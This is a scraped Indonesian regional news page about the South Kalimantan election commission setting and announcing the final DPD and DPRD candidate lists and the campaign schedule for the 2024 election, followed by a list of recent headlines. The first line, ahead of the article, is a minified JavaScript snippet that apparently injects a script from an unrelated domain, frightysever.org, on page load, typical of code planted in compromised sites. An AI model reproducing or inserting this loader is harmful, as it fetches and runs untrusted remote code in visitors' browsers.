(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PEMILU 2024

KPU Kalsel Segara Umumkan Daftar Calon Tetap DPD dan DPRD


KANALKALIMANTAN.COM, BANJARMASIN – Setelah melewati sejumlah tahapan, Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) tinggal menetapkan Daftar Calon Tetap (DCT) peserta Pemilu.

Penetapan DCT Caleg Dewan Perwakilan Daerah (DPD) RI dan Dewan Perwakilan Rakyat Daerah (DPRD) dijadwalkan akan dilaksanakan pada Jumat (3/11/2023), kemudian sehari setelahnya tepatnya Sabtu (4/11/2023) akan diumumkan ke publik.

“Tanggal 3 November kita tetapkan DCT, tanggal 4 pengumuman dan tanggal 5 kita serahkan ke KPU RI,” ungkap Ketua KPU Kalsel Andi Tenri Sompa kepada Kanalkalimantan.com, Kamis (2/11/2023).

Sebelum itu kata Andi Tenri, pihaknya telah melakukan finalisasi verifikasi dan validasi penyusunan daftar bacaleg yang akan dimasukan ke dalam surat suara.

Baca juga: Pemilik Kafe Jual Miras di Trikora Banjarbaru Didenda Rp1,5 Juta

“18 Parpol tidak ada yang komplain terhadap yang dibuat dalam surat-surat tersebut,” ujarnya.

Ditegaskan Ketua KPU Kalsel, setelah DCT ditetapkan tidak ada lagi perubahan yang dapat dilakukan peserta Pemilu baik calon anggota DPD maupun DPRD.

Setelah penetapan, selanjutnya KPU Kalsel dikatakan akan mempersiapkan masa kampanye yang akan dimulai dari tanggal 28 November 2023 sampai 10 Februari 2024.

Termasuk nanti pihaknya akan mengundang kembali seluruh perwakilan 18 Parpol dan calon DPD RI untuk membahas terkait juknis kampanye dan pelaporan dana kampanye.

Baca juga: Peliputan Pemilu 2024 Wartawan Harus Perhatikan Kode Etik Jurnalistik

Namun, Andi Tenri mengatakan untuk petunjuk teknis masih menunggu revisi Peraturan Komisi Pemilihan Umum (PKPU) Nomor 15 Tahun 2023 tentang Kampanye Pemilu setelah adanya putusan Mahkamah Konstitusi (MK) yang memperbolehkan kampanye di lingkungan pendidikan.

“Juknisnya itu belum turun, karena kemarin ada putusan Mahkamah Konstitusi tentang kampanye di lingkungan pendidikan, mungkin dalam beberapa hari ini sudah turun,” kata Andi Tenri. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.